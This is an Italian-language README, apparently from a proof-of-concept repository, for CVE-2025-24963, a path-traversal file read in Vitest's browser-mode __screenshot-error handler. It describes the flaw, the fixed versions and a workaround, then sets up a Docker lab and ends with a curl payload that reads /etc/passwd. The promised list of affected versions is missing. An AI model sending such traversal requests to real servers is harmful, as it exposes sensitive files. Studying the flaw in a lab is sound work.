
Exploit proof-of-concept per CVE-2025-24963, una vulnerabilità di lettura di file locali in modalità browser di Vitest tramite il gestore __screenshot-error, che consente la divulgazione arbitraria di file su server esposti.
CVE-2025-24963 è una vulnerabilità di gravità media (punteggio CVSS 3.1: 5.9) che interessa il pacchetto @vitest/browser, un componente del framework di test Vitest basato su Vite. Questa vulnerabilità deriva da una convalida impropria dell'input nel gestore __screenshot-error del server HTTP in modalità browser. Quando il server è esposto alla rete utilizzando l'opzione di configurazione browser.api.host: true, un attaccante può inviare richieste appositamente predisposte per accedere a file arbitrari sul file system del server, portando potenzialmente alla divulgazione non autorizzata di informazioni sensibili.
La vulnerabilità interessa le seguenti versioni di @vitest/browser:
Questo problema è stato risolto nelle versioni 2.1.9 e 3.0.4. Si consiglia vivamente agli utenti di aggiornare a queste versioni o successive per mitigare la vulnerabilità.
Se l'aggiornamento immediato non è possibile, una soluzione temporanea consiste nell'evitare di esporre il server in modalità browser alla rete, non impostando browser.api.host: true nella configurazione. Questo impedirà l'accesso esterno al gestore vulnerabile.
git clone https://github.com/0xdeviner/CVE-2025-24963.git
cd CVE-2025-24963/vitest-vuln-demo
docker build -t vitest-cve-2025-24963 .
docker run -itd --name vitest-cve -p 63315:63315 vitest-cve-2025-24963
Nota: La porta utilizzata da Vitest è dinamica (ad esempio 63315). Potrebbe essere necessario monitorare i log e regolare di conseguenza il flag -p.
curl "http://<IP>:63315/__screenshot-error?file=../../../../../../etc/passwd"